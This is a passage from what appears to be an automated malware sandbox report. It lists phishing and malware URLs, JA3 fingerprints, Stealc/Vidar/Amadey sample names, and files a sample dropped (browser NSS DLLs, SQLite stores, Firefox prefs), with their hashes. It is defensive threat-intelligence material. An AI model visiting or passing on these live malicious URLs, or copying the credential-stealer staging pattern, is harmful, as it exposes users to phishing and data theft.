	https://public-eur.mkt.dynamics.com/api/orgs/88a21dbe-0cab-ef11-b8e4-000d3ab73076/r/ITDpQP9xc0mGhZTOns8zcwIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fescclim-my.sharepoint.com%252F%253Ao%253A%252Fg%252Fpersonal%252Ftech_esc_esc-clim_com%252FEhAtf79h6jhPmHVrOq0G3zQBcIqaUIUgKKgPrxeGvockQA%253Fe%253D4LkyBM%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%220%22%3Anull%7D%7D&digest=w8KszEUMxRXpc4kyRepudGYpxF6dCJlj%2BwOvs5Es14I%3D&secretVersion=7c13c22c20aa46a1b2fc8b71fde4d19a	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	152.195.19.97
MICROSOFT-CORP-MSN-AS-BLOCKUS	botx.mips.elf	Get hash	malicious	Mirai	Browse	52.177.73.32
	Mein-Dienstrad Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.240
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	170.165.32.8
	Mein-Dienstrad Proposal.eml	Get hash	malicious	Unknown	Browse	52.113.195.132
	https://ddbsodvnnadewe.z1.web.core.windows.net/?gad_source=5&gclid=EAIaIQobChMI4taSwu7-iQMVTvE7Ah3nKQf9EAEYASAAEgK2EvD_BwE	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	botx.spc.elf	Get hash	malicious	Mirai	Browse	20.168.68.115
	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	52.113.195.132
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.140.187.176

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	https://certificat-compte.fr/OO	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	rSolicita____odecota____o.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	mxywHBknfo.exe	Get hash	malicious	RedLine	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	https://ddbsodvnnadewe.z1.web.core.windows.net/?gad_source=5&gclid=EAIaIQobChMI4taSwu7-iQMVTvE7Ah3nKQf9EAEYASAAEgK2EvD_BwE	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	https://files-pdf-73j.pages.dev/?e=donal.oneill@camida.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
	Infosharesystems__PASTDUE_36062.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 40.126.53.19 2.23.161.164 20.12.23.50
6271f898ce5be7dd52b0fc260d0662b3	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.org	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	Order Summary.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	container payment.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.223.35.26
	oDisjCYpOP	Get hash	malicious	Xmrig	Browse	150.171.27.10 20.199.58.43 20.223.35.26

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJDHIIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCGHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679098069742476
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVum8:Kq+n0Jc91LyKOMq+8iP5GLP/0Z
MD5:	BF99A581B7EA7E356473321D79257373
SHA1:	FD46EC07B2C3D9D7505F65FA527A9C408BEA80CB
SHA-256:	E21650E72F3FF277BBC2B2B24E718146CBE112F9B1A60E0456C541ABA4349DD0
SHA-512:	EEEC8379B33A65E080B284D392EAE250F2AA25DFFB97CBA0630ADC3E2301E5BAAC5B82D575683FC22136B290022C5724313879BF618F7BE475821A1212AC1B8B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDHCGCAECAAECFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJJKJJDHCGCAECAAECFHDAECFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJJKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\228f1dbc-43a8-41b7-8d80-5baae8fc9109.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
